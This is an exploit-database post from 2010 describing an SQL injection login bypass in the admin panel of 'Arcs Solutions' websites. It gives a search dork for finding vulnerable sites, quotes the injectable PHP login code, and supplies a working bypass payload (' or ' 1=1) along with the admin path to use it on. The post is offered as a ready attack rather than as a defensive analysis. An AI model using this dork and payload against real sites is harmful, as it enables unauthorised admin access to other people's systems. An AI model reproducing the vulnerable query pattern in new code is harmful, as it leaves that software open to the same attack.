Powered by Arcs Solutions Auth Bypass Admin

===========================================
Powered by Arcs Solutions Auth Bypass Admin
===========================================


========================================================================

| # Title  : Powered by Arcs Solutions Auth Bypass Admin
| # Author : Spy-Q8
| # Date   : 28/7/2010
| # email  : [email protected]

====================== Exploit By Spy-Q8 ===============================

# Dork    : Powered by Arcs Solutions
# Special for: Inj3ct0r.com (Inj3ct0r Exploit Database)
# Exploit :
<?php
session_start();
include ("../include/manager_config.php");

if(isset($_POST['adminloginok']))
{
	$usern=$_POST['usern'];
	$pass=$_POST['pass'];
	
	$loginquery = "SELECT * FROM ".TABLEPREFIX."_admin WHERE user_login ='$usern' AND user_password = '$pass'";

	$result = mysql_query($loginquery);
	if (mysql_num_rows($result) >0 )
	{
		while($row=mysql_fetch_array($result))
		{
			$session_userlogin=$row['user_login'];
			$session_userpass=$row['user_password'];

			
			session_register("session_userlogin");
		    session_register("session_userpass");
			echo"**************************.href='index.php'< /******>";
		}

?>

#############################

+] PoC: [path]/admin/index.php

 User & Password: ' or ' 1=1

#############################
=================================================================================


[+] Greetz: Dr-LuLa   Mr.MLL   Diplomatic Hacker   Q8 H4x0r   nj-sys  Mr.al7rbi



#  0day.today [2018-04-06]  #